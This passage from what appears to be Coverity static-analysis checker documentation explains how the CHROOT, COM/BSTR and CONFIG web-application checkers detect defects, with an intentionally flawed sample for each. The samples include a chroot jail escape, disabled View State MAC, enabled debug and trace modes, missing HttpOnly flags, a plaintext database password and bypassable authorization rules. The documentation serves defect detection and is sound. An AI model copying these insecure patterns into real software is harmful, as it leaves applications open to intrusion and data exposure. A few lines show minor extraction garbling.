chroot jail, one must call chdir immediately after
chroot to close the loophole of using paths relative to the working
directory. This checker reports cases where the chdir call is missing.
A jail is a specific portion of a filesystem where the
chroot() system call confines the program. After
chroot("dir") has been called, the program's access to
/ is mapped to "dir" in the underlying filesystem. Also,
as a security measure, the program's access to the parent directory ("..")
from within that directory is re-directed so that the program cannot escape from the
chroot jail. Even if a program is subsequently successfully attacked, the attacker
cannot get access to the filesystem outside of the jail.
Disabled by default: CHROOT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable CHROOT
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more CHROOT examples.
The following example generates a defect
because the call to chroot()and then open() is susceptible to
breaking out of the chroot() jail.
void chroot_example() {
char *filename;
int fd;
chroot("/var/ftp/pub");
filename = read_from_network();
fd = open(filename, 0);
}
COM.ADDROF_LEAK identifies uses of a CComBSTR or
CComPtr instance that might cause memory leaks because the value of the
pointer that is internal to the instance can be modified through the pointer address.
The checker tracks local non-static CComBSTR and CComPtr
variables that have been determined as managing a non-null pointer. When the address of
the pointer (obtained through the overloaded operator address-of (&))is
passed as an argument to a function call, the pointer value can potentially be
overwritten, causing a memory leak.
Disabled by default: COM.ADDROF_LEAK is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more COM.ADDROF_LEAK examples.
A typical case involving a
CComBSTR object is shown below:
class Customer
{
public:
void getName(BSTR* pName) const
{
// The value of '*pName' is overwritten.
*pName = ::SysAllocString(name_);
}
LPCOLESTR name_;
};
CComBSTR getCustomerName(const Customer& customer)
{
CComBSTR name;
// (1) Memory is allocated for a copy of the string literal and
// hold through a pointer internal to the 'name' variable.
name = L"Unknown";
// (2) The overloaded operator address-of (CComBSTR::operator &) returns
// the address of the internal pointer and the value of the pointer
// is overwritten during the call to Customer::getName().
// The memory allocated during the construction of the object in (1) will
// never be deallocated and is therefore leaked.
customer.getName(&name);
return name;
}This section describes one or more COM.ADDROF_LEAK options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
COM.ADDROF_LEAK:report_ccomptr:<boolean> - If this
option is set to true, enabled
leaks on CComPtr objects are reported. Defaults to
COM.ADDROF_LEAK:report_ccomptr:false
COM.BAD_FREE finds many cases where the code violates
the Microsoft COM interface convention regarding the lifetime management of pointers to
interfaces. COM specifies that this management should be accomplished through the
AddRef and Release methods found on every COM interface.
It is an error to circumvent the reference counting mechanism by explicitly freeing a
pointer to an interface, because other clients might share ownership of the same object.
The COM.BAD_FREE checker finds many instances of these explicit frees.
Explicitly freeing a pointer to a COM interface can leave other owners of the instance with dangling pointers. This can possibly result in use-after-free memory errors, including memory corruption and crashes.
Enabled by default: COM.BAD_FREE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more COM.BAD_FREE examples.
Explicit free of interface pointer:
void test () {
IUnknown* p = new CFoo;
delete p; // explicit free
}COM.BSTR.ALLOC finds many cases of violations of COM
interface conventions regarding memory allocation for parameters whose type is
BSTR or BSTR*. COM defines memory management rules that
specify the allocation behavior across COM function calls. Failure to heed these rules
can lead to use-after-free and resource leak errors, which can result in memory
corruption and crashes. In code bases that do not follow the usual conventions regarding
in, out, and in/out parameters, the checker
might report many false positives.
Primitive allocators and deallocators for BSTR that are tracked by this checker:
Allocators
BSTR SysAllocString(const OLECHAR *sz);
BSTR SysAllocStringByteLen(LPCSTR psz, unsigned int
len);.BSTR SysAllocStringLen(const OLECHAR *pch, unsigned int
cch);
Reallocators
INT SysReAllocString(BSTR *pbstr, const OLECHAR *psz);
cch);
INT SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz,
unsigned int cch);
Deallocator
VOID SysFreeString(BSTR bstr);
Disabled by default: COM.BSTR.ALLOC is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more COM.BSTR.ALLOC examples.
In the following example,
myString fails to free memory for s:
#include "basics.h"
namespace my_com_bstr {
void myString()
{
BSTR s = SysAllocString(L"hi");
SysStringLen(s);
} // Defect: exits without freeing memory
}In the following example, f returns freed memory:
#include "basics.h"
namespace test_inout_f {
struct A {
void f(BSTR *s);
};
void A::f(/*[in][out]*/ BSTR *s)
{
SysFreeString(*s);
} // Defect: returns freed memory
}This section describes one or more events produced by the COM.BSTR.ALLOC checker.
alloc_call: A value is allocated.
assign: One value is assigned to another.
free: A value is freed.
free_freed: A defect is reported when a freed value is freed
again.
free_not_owner: Report a defect when a value owned by another
entity (for example, a value that is stored in a structure that will eventually
free it) is freed.
free_uninit: A defect is reported when an uninitialized value
is freed.
init_param: Declaration of a parameter.
init_ptr_param: Declaration of a pointer parameter.
transfer: The ownership of a value is transferred to another
entity, for example, a data structure, which will free the value when it goes
out of scope.
leak: A defect is reported when a resource is leaked (that
is, not freed).
transfer_not_owner: A defect is reported when ownership of a
value is transferred by an entity that does not own the value.
use: Use a value.
use_freed: A defect is reported when a freed value is
used.
use_uninit: A defect is reported when an uninitialized value
is used.
yield_freed: A defect is reported when the ownership of a
freed value is yielded.
yield_not_owner: A defect is reported when an entity that
does not own a value yields its ownership.
yield_uninit: A defect is reported when the ownership of an
uninitialized value is yielded.
COM.BSTR.BAD_COMPARE reports comparisons of BSTR-typed expressions
that use the relational operators >, <,
>=, and <=. Comparisons are treated as defects if
either or both operands are BSTRs. The problem with using these operators is that
relational comparisons are only valid for pointers that point to the same object, but
each BSTR is an independent object, and a BSTR pointer always points to the same place
within that object. So if two BSTRs are not equal, then the comparison is technically
undefined, and it is practically unpredictable to test which is "greater".
Although technically pointers, BSTRs should generally be treated as
opaque types with the only valid comparisons being == and
!=.
Disabled by default: COM.BSTR.BAD_COMPARE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more COM.BSTR.BAD_COMPARE examples.
In the following example, two BSTR variables are compared with the < operator:
void f(BSTR b1, BSTR b2) {
if (b1 < b2) { // defect
}
}In the following example, two BSTR expressions are compared with the < operator:
void f(wchar_t *w1, BSTR b2) {
static int nothing;
if (w1 < (nothing++, b2)) { // defect
}
}This section describes one or more COM.BSTR.BAD_COMPARE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:<boolean> - If this
option is set to true, the
checker treats any expression <b>+<i> for
BSTR <b> and integer <i> as though it has the type
wchar_t* (instead of BSTR), which means that the checker will
report fewer defects. Defaults to
COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:false
COM.BSTR.CONV finds many instances where something that
is not declared to have type BSTR is converted to
something that is declared to have type BSTR. This
conversion is an issue because BSTRs have a special structure that ordinary
wchar_t* does not have.
For example, suppose that wchar_t* w1 points to the string
L"hello". w1 is not equivalent to a BSTR b1
for the same string, because a BSTR is prefixed by the length (in bytes) of the string,
whereas the contents of memory that is pointed to by a wchar_t* need not
be. In this example, *b1 is preceded by the integer 10 (5*2), and
*w1 is preceded by arbitrary data. Therefore, the COM.BSTR.CONV checker
reports the assignment BSTR b2 = w1; as a bad conversion.
A bad conversion can lead to a crash if the recipient of the supposed
BSTR treats it as a BSTR, rather than a array of
wchar_t. For example, if the recipient calls
SysStringLen, it inspects the four bytes of unpredictable
values that precede the wchar_t array. The recipient will likely crash when
it tries to interpret those bytes as a length. One such recipient is the COM marshaller,
which is implicitly involved in any COM call that crosses apartment, process, or machine
boundaries.
The main source of false positives is polymorphism: when a single type is used to hold
many different kinds of values. For example, if a BSTR is passed by the
Windows message queue, it is cast to a WPARAM or LPARAM at
some point. When it is cast back to BSTR, the COM.BSTR.CONV checker reports
a defect.
Enabled by default: COM.BSTR.CONV is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more COM.BSTR.CONV examples.
// some COM interface
struct IWhatever {
virtual HRESULT foo(BSTR /*[in]*/ s);
};
void has_a_bug(IWhatever *w)
{
wchar_t *ordinary_string = L"not a BSTR";
w->foo(ordinary_string); // bug
}In this example, an ordinary wide-character literal string is passed as a
BSTR object. If w refers (via a proxy) to an object that
is not in the same COM thread apartment, the COM infrastructure attempts to marshal the
string by reading the length prefix, with unpredictable effects.
This section describes one or more COM.BSTR.CONV options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
COM.BSTR.CONV:report_bstr_arith:<boolean> - If this
option is true, the checker
treats arithmetic on a BSTR expression as though it produces a result of type
wchar_t*, which means that the checker will report more
defects. The additional defects might be considered false positives if the
resulting pointer is only used in very limited ways, but it is still a
questionable practice. Defaults to
COM.BSTR.CONV:report_bstr_arith:false
For a BSTR expression b and integer i,
<,
b>+=<i><,
b>-=<i>< and
b>++< are illegal because they
attempt to assign a b>--wchar_t* to b.
Similarly, the following code contains a defect, because b2+2 is
no longer considered a BSTR:
BSTR b1, b2; b1 = b1 ? b1 : (b2 + 2);
This section describes one or more events produced by the COM.BSTR.CONV checker.
A defect report indicates a location in the
source code where an expression with a type other than BSTR is converted to
BSTR, either implicitly or explicitly (with a cast). The reports
describe the source expression, the type it has, and the syntactic context of the
conversion. For the previous example, the report says:
Converting expression "ordinary_string" with type "wchar_t*" to BSTR as parameter #2 of function IWhatever::foo with type "HRESULT (struct IWhatever*, BSTR)"This checker puts all issues found for a given function into a single defect report, with each issue as a separate event. This makes it easier to inspect the results, which are often essentially the same within a single function. But it also means that it is not possible to mark different issues within the same function as FALSE or BUG, because they all share the same status.
COM.BSTR.NE_NON_BSTR finds many cases where a BSTR is compared to
a non-BSTR expression. Sometimes this comparison occurs because the wrong pointers are
compared, or the programmer intended to compare string contents. The checker reports any
comparison of a BSTR expression that uses the operator == or
!= with a non-BSTR expression.
The justification for considering such comparisons as defects is that BSTRs are
generally treated differently from variables of type wchar_t*. For example,
a BSTR (or more precisely, the string that it is pointing to) is allocated in memory
with SysAllocString, and the memory that is pointed to by a
wchar_t* can be allocated using (among others) malloc and
new; therefore, it is unlikely that two such variables point to the
same memory location.
When a comparison is intentional, you can suppress these defect reports by casting the
BSTR expression to a void*.
Disabled by default: COM.BSTR.NE_NON_BSTR is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more COM.BSTR.NE_NON_BSTR examples.
In the following example, a BSTR variable is
compared to a wchar_t* with the == operator:
void f(BSTR b, wchar_t *w) {
if (b == w) { // defect
}
}This section describes one or more COM.BSTR.NE_NON_BSTR options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:<boolean> - If this
option is set to true, the
checker treats any expression <b>+<i> for
BSTR <b> and integer <i> as though it has the type
wchar_t*, instead of BSTR. Defaults to
COM.BSTR.NE_NON_BSTR:arith_yields_wchar_t:false
CONFIG.ASPNET_VERSION_HEADER
finds cases where Web.Config files fail to disable the inclusion of
the X-AspNet-Version header. By default, this header is included. It is best practice to
hide the information about your framework by removing HTTP response headers. You can do
this by setting the enableVersionHeader attribute to false, as
shown in the example.
Disabled by default: CONFIG.ASPNET_VERSION_HEADER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.ASPNET_VERSION_HEADER
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.ASPNET_VERSION_HEADER defects have a single event that identifies the security misconfiguration.
This section provides one or more CONFIG.ASPNET_VERSION_HEADER examples.
<configuration>
<system.web>
<httpRuntime enableVersionHeader="true" /> <!-- Defect here. -->
...
</system.web>
</configuration>
<configuration>
<system.web> <!-- Defect here. -->
...
</system.web>
</configuration>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false" /> <!-- No defect. -->
...
</system.web>
</configuration>CONFIG.ASP_VIEWSTATE_MAC detects ASP.NET pages and applications where the generation of a View State Machine Authentication Code (MAC) is disabled. With ASP.NET version 4.5.1 and earlier, this setting might allow an attacker to upload and execute arbitrary code on the Web server.
![]() | |
This security vulnerability was fixed in KB 2905247 (optional; December 2013) and in .NET 4.5.2 and later, making it impossible to disable View State MAC generation. |
Disabled by default: CONFIG.ASP_VIEWSTATE_MAC is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.ASP_VIEWSTATE_MAC
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.ASP_VIEWSTATE_MAC defects have a single event that identifies the security misconfiguration.
This section provides one or more CONFIG.ASP_VIEWSTATE_MAC examples.
The View State MAC can be disabled in a ASP.NET Web.Config file:
<configuration>
<system.web>
<pages enableViewStateMac="false" /> <!-- This is a defect -->
...
</system.web>
...
</configuration>It can also be disabled for an ASPX page using the EnableViewStateMac
attribute with the Page directive:
<%@ Page ... EnableViewStateMac="false" %>
CONFIG.ATS_INSECURE identifies insecure App Transport Security (ATS) configurations.
App Transport Security is an operating system feature introduced in iOS 9 for protecting the network communications of iOS applications. ATS enforces several security best practices and fails with a runtime exception when it detects any violations. However, configuration settings can disable some or all of this protection.
CONFIG.ATS_INSECURE reports specific values or omissions in configuration files (for
example, Info.plist) that weaken the protection that App Transport Security
provides. The impact depends on the legitimacy of the security exception and the nature
of the application's network communications.
Enabled by default: CONFIG.ATS_INSECURE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more CONFIG.ATS_INSECURE examples.
The following example disables ATS globally allowing arbitrary insecure connections:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<dict>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
// Insecure ATS Configuration here
<true/>
</dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Location is required to retrieve the weather info for your current place.</string>
</dict>
...
</plist>CONFIG.COOKIES_MISSING_HTTPONLY
finds cases where the HttpOnly flag for a cookie is explicitly disabled or
not set in a configuration file (for example, through Web.Config).
This flag is configured through an httpOnlyCookies attribute to
httpCookies, as shown in the example below. The HttpOnly
flag prevents client-side applications (JavaScript, for example) from getting access to
a cookie. To prevent cross-site scripting attacks from stealing or modifying cookie
data, it is a best practice to enable this cookie flag.
Disabled by default: CONFIG.COOKIES_MISSING_HTTPONLY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.COOKIES_MISSING_HTTPONLY
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.COOKIES_MISSING_HTTPONLY defects have a single event that identifies the security misconfiguration.
This section provides one or more CONFIG.COOKIES_MISSING_HTTPONLY examples.
<configuration>
<system.web>
<httpCookies httpOnlyCookies="false" /> <!-- Defect here. -->
...
</system.web>
</configuration>
<configuration>
<system.web> <!-- Defect here. -->
...
</system.web>
</configuration>
<configuration>
<system.web>
<httpCookies httpOnlyCookies="true" /> <!-- No defect here. -->
...
</system.web>
</configuration>CONFIG.CONNECTION_STRING_PASSWORD
finds cases where Web.Config files have connection string passwords
that are not encrypted. The checker will report a defect if the
<add> child of <connectionStrings>
within Web.Config takes a pwd= attribute as a value.
Explicitly specifying pwd= in attribute
<connectionStrings> leaks an unencrypted connection string
password. It is best practice to use a protected configuration to encrypt sensitive
information.
Disabled by default: CONFIG.CONNECTION_STRING_PASSWORD is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.CONNECTION_STRING_PASSWORD
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.CONNECTION_STRING_PASSWORD defects have a single event that identifies the security misconfiguration.
This section provides one or more CONFIG.CONNECTION_STRING_PASSWORD examples.
This example produces a defect report.
<configuration>
<connectionStrings>
<add name="Name" connectionString="connectDB=uDB; uid=db2admin; pwd=db2admin; dbalias=uDB;" providerName="XXX" />
...
</connectionStrings>
</configuration>This examples does not produce a defect report.
<configuration>
<connectionStrings>
<clear /> <!-- No defect-->
</connectionStrings>
</configuration>CONFIG.DEAD_AUTHORIZATION_RULE identifies ASP.NET authorization rules that have no effect, which might indicate an error in the rule logic. Because the patterns are applied in the order in which they are written, a rule might never be applied if its pattern is dominated by an earlier one. Malicious users might exploit such errors to access unintended application content or to escalate privilege.
Disabled by default: CONFIG.DEAD_AUTHORIZATION_RULE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.DEAD_AUTHORIZATION_RULE
along with other Web application checkers,
use the --webapp-security
option.
The main event for CONFIG.DEAD_AUTHORIZATION_RULE defects identifies an authorization rule that has no effect. There is a supporting event that indicates the rule that dominates it.
This section provides one or more CONFIG.DEAD_AUTHORIZATION_RULE examples.
The example shows the issue in a
Web.config file in an ASP.NET application.
<configuration>
<location path="user-only-content.aspx">
<system.web>
<authorization>
<allow users="*"/>
<deny users="?"/> <!-- Defect: will not deny anonymous users as intended -->
</authorization>
</system.web>
</location>
</configuration>CONFIG.DUPLICATE_SERVLET_DEFINITIONs finds
cases where multiple servlet definitions in the deployment descriptor share the same name.
When the deployment descriptor (that is, WEB-INF/web.xml) has name
collisions for servlets, only the first defined servlet will be deployed by the application
container.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.DUPLICATE_SERVLET_DEFINITION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.DUPLICATE_SERVLET_DEFINITION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.DUPLICATE_SERVLET_DEFINITION examples.
The following example shows the
web.xml file with multiple servlets that share the same name:
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<servlet>
<servlet-name>welcome</servlet-name>
<servlet-class>WelcomeServlet</servlet-class>
</servlet>
<servlet> <!-- // The name ServletErrorPage is used multiple times -->
<servlet-name>ServletErrorPage</servlet-name>
<servlet-class>tests.Error.ServletErrorPage</servlet-class>
</servlet>
<servlet>
<servlet-name>ServletErrorPage</servlet-name>
<servlet-class>tests.Filter.ForwardedServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcome</servlet-name>
<url-pattern>/hello.welcome</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ServletErrorPage</servlet-name>
<url-pattern>/ServletErrorPage</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ForwardedServlet</servlet-name>
<url-pattern>/ForwardedServlet</url-pattern>
</servlet-mapping>
</web-app>CONFIG.DWR_DEBUG_MODE finds cases where the debug mode for the Direct Web Remoting (DWR) framework is enabled. The checker inspects configuration files related to DWR (such as Spring bean definitions, deployment descriptor, and so on) and reports an issue when the debug flag is set to true.
When an application is deployed with the DWR debug mode enabled, any user can access
information exposed under the debugging servlet. It is reachable at
http://<app context>/dwr/index.html.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.DWR_DEBUG_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.DWR_DEBUG_MODE
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.DWR_DEBUG_MODE examples.
The following Spring
application-context.xml explicitly enables the debug mode for
DWR.
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dwr="http://www.directwebremoting.org/schema/spring-dwr"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
http://www.directwebremoting.org/schema/spring-dwr
http://www.directwebremoting.org/schema/spring-dwr-3.0.xsd">
<dwr:controller id="dwrController" debug="true">
<dwr:config-param name="activeReverseAjaxEnabled" value="true"/>
</dwr:controller>
</beans>Supported Languages: Java and C#
CONFIG.DYNAMIC_DATA_HTML_COMMENT finds cases where dynamic data output goes from the server to an HTML comment context.
The checker looks for any of the following types of server-side dynamic data output inside a client-side HTML comment:
JSP EL expressions: ${bean.field}
JSP scriptlets: <%= MyBean.getField() %>
JSP tags: <c:out value="Some content"/>
ASPX server-side web forms: <asp:HyperLink runat="server" ... />
ASPX inline expressions: <%= expression %>
CSHTML inline expressions: @arg or @ViewBag.key or @( Request.Parameter["foo"] )
CSHTML inline statements: @{ a = b; }
CSHTML built-in keywords: @foreach(var c in List) { ... }
In most cases, these issues can be solved by replacing the HTML comment with a JSP, ASPX, or CSHTML comment.
The impact of this issue depends on the nature of the data output to the HTML page by the application. Data that is not intended for the client to see may leak sensitive information. In any case, the server will perform unneeded processing and unnecessarily inflate the size of the resulting output.
Prerequisite: This checker runs on web-application template files. This code can be
emitting by passing the WAR to cov-emit-java, using filesystem capture for JSPs, or
capturing a build of Aspnet_compiler.exe. See Coverity Analysis User and Administrator Guide
(PDF
for more information.
Disabled by default: CONFIG.DYNAMIC_DATA_HTML_COMMENT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.DYNAMIC_DATA_HTML_COMMENT
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.DYNAMIC_DATA_HTML_COMMENT examples.
The following JSP file outputs dynamic data twice, in the following order:
Right after the Hello.
Inside the HTML comment. The checker will report a defect for this issue because it is most likely to be residual debug code.
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<html>
<body>
Hello ${fn:escapeXml(user.name)}! <!-- ${fn:escapeXml(user.nickname)} -->
</body>
</html>The following ASPX block outputs dynamic data inside an HTML comment. It will be reported by this checker.
<!--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
<div>Here is some content</div>
</asp:Content>
-->It was intended that the content be suppressed from the client output, and this can be accomplished with a server-side ASPX comment as follows.
<%--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
<div>Here is some content</div>
</asp:Content>
--%>CONFIG.ENABLED_DEBUG_MODE finds cases where the ASP.NET debugging mode is enabled in a Web application. Leaving debugging mode enabled in a production application is a security risk because detailed information about your application's code and environment will be available to potential attackers.
Disabled by default: CONFIG.ENABLED_DEBUG_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.ENABLED_DEBUG_MODE
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.ENABLED_DEBUG_MODE defects have a single event that identifies the security misconfiguration.
CONFIG.ENABLED_TRACE_MODE finds cases where ASP.NET trace mode is enabled in a Web application. When this feature is enabled for a single page or entire application, sensitive information will be attached to server responses, such as application state, server variables, and configuration details. Exposing these diagnostics is a security risk.
Disabled by default: CONFIG.ENABLED_TRACE_MODE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.ENABLED_TRACE_MODE
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.ENABLED_TRACE_MODE defects have a single event that identifies the security misconfiguration.
Supported Languages: JavaScript
CONFIG.HANA_XS_PREVENT_XSRF_DISABLED checker identifies HANA XS applications that do not have cross-site request forgery (XSRF) prevention enabled. This is recommended for all applications that are not strictly read-only.
Cross-site request forgery is an attack where a malicious actor tricks a user's browser into making a request to another site that exploits their credentials to modify some application state or perform an unwanted action.
To the server, a successful attack is no different than any legitimate action performed by the user. Both transactions originate from a browser client, and both transactions include proper session identifiers. It can be exceedingly difficult to detect a cross-site request forgery attack and recover after it has occurred.
XSRF prevention is enabled by adding a keyword to the application-access (.xsaccess) file. It is off by default.
When enabled, the HANA XS XSRF prevention feature will add server-side checks that all Browser sessions have a valid anti-forgery token. A token is generated for each session back-end, and any request that does not contain a valid token will be denied. The client may need to be modified to fetch and include the XSRF token header.
Disabled by default: CONFIG.HANA_XS_PREVENT_XSRF_DISABLED is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.HANA_XS_PREVENT_XSRF_DISABLED
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.HANA_XS_PREVENT_XSRF_DISABLED defect events identify application-access files that do not enable XSRF prevention.
This section provides one or more CONFIG.HANA_XS_PREVENT_XSRF_DISABLED examples.
The following .xsaccess application-access file in a HANA XS application does not enable XSRF prevention, and the checker will report a defect.
{
"exposed" : true,
"authentication" : { "method" : "Form"}
}This can be fixed by enabling the feature, as follows:
{
"exposed" : true,
"authentication" : { "method" : "Form"},
"prevent_xsrf" : true
}CONFIG.HTTP_VERB_TAMPERINGs
finds cases where a security-constraint is defined and uses HTTP methods.
The use of HTTP methods in the security-constraint tells the application
container that the constraint only applies to these HTTP methods. It is usually easy to
bypass such security constraints by changing the HTTP method to one that is not covered
in the security-constraint. This can lead to bypassing the authorization
check.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.HTTP_VERB_TAMPERING is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.HTTP_VERB_TAMPERING
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.HTTP_VERB_TAMPERING examples.
The following
security-constraint in the deployment descriptor tells the application
container that all GET or POST requests in the
/admin/ section of the application must be coming from a user
that has the admin role.
<security-constraint>
<web-resource-collection>
<web-resource-name>admin-subapp</web-resource-name>
<url-checker>/admin/*</url-checker>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>CONFIG.JAVAEE_MISSING_HTTPONLY
finds cases where, in a Servlet 3.x deployment descriptor, the HttpOnly
flag for the session ID cookie is explicitly disabled, or not set. The
HttpOnly flag prevents the client-side applications (JavaScript, and so
on) from getting access to the value of the cookies. It is a best practice to enable
this cookie flag to prevent a cross-site scripting attacks from stealing the session ID.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.JAVAEE_MISSING_HTTPONLY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.JAVAEE_MISSING_HTTPONLY
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.JAVAEE_MISSING_HTTPONLY examples.
The following snippet of a deployment
descriptor (web.xml) shows that the developer explicitly disabled
the HttpOnly flag.
<web-app>
...
<session-config>
<cookie-config>
<http-only>false</http-only>
</cookie-config>
</session-config>
...
</web-app>CONFIG.MISSING_CUSTOM_ERROR_PAGE finds
cases where Web.Config files turn off custom error messages. In the
Web.Config file, under <system.web>, on the <customErrors>
node there shall NOT be a mode attribute set to "Off", whose default value is "RemoteOnly".
The third valid mode value is "On". Among those three values, only "Off" is insecure.
Setting mode to "Off" disables custom errors page. When that happens, ASP.NET provides a detailed error message to clients by default, which leaks server information to attackers. It is best practice to set mode to "On" or "RemoteOnly".
Disabled by default: CONFIG.MISSING_CUSTOM_ERROR_PAGE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.MISSING_CUSTOM_ERROR_PAGE
along with other Web application checkers,
use the --webapp-security
option.
CONFIG.MISSING_CUSTOM_ERROR_PAGE defects have a single event that identifies the security misconfiguration..
This section provides one or more CONFIG.MISSING_CUSTOM_ERROR_PAGE examples.
<configuration>
<system.web>
<customErrors mode="Off" /> <!-- //#defect#CONFIG.MISSING_CUSTOM_ERROR_PAGE -->
...
</system.web>
</configuration>
<configuration>
<system.web> <!-- //#nodefect -->
...
</system.web>
</configuration>
<configuration>
<system.web>
<customErrors mode="On" /> <!-- //#nodefect -->
...
</system.web>
</configuration>
<configuration>
<system.web>
<customErrors mode="RemoteOnly" /> <!-- //#nodefect -->
...
</system.web>
</configuration>CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER finds cases where the global exception handler is either not defined or not appropriate for the application according to the frameworks it uses. The checker recognizes Struts 1, Struts 2, Java EE, and JSPs, and reports a defect when insufficient global exception handlers are defined in the application, or not defined at all. The checker identifies cases where a framework-specific global exception handler is sufficient and does not report these as issues. When a global exception handler is not set, the application might output a Java stack trace to the user when an exception emerges. This is usually causes only a bad user experience, but it can also leak internal information about the application (class names, workflows, and so on) that might provide a malicious user interesting clues about how to attack the application.
Prerequisite: This checker runs on and can generate defects on non-source code files such as
configurations. To run this checker, you must first emit the configuration by invoking
cov-emit-java --war (which is the same as
--webapp-archive) or one of the following: --findwars,
--findwars-unpacked, --findears, or
--findears-unpacked.
Disabled by default: CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER examples.
If an application uses Struts 1 with JSP files, it is not sufficient to define a global handler as follows:
...
<global-exceptions>
<exception key="error.global.exception"
type="java.lang.Exception"
path="/WEB-INF/pages/error.jsp" />
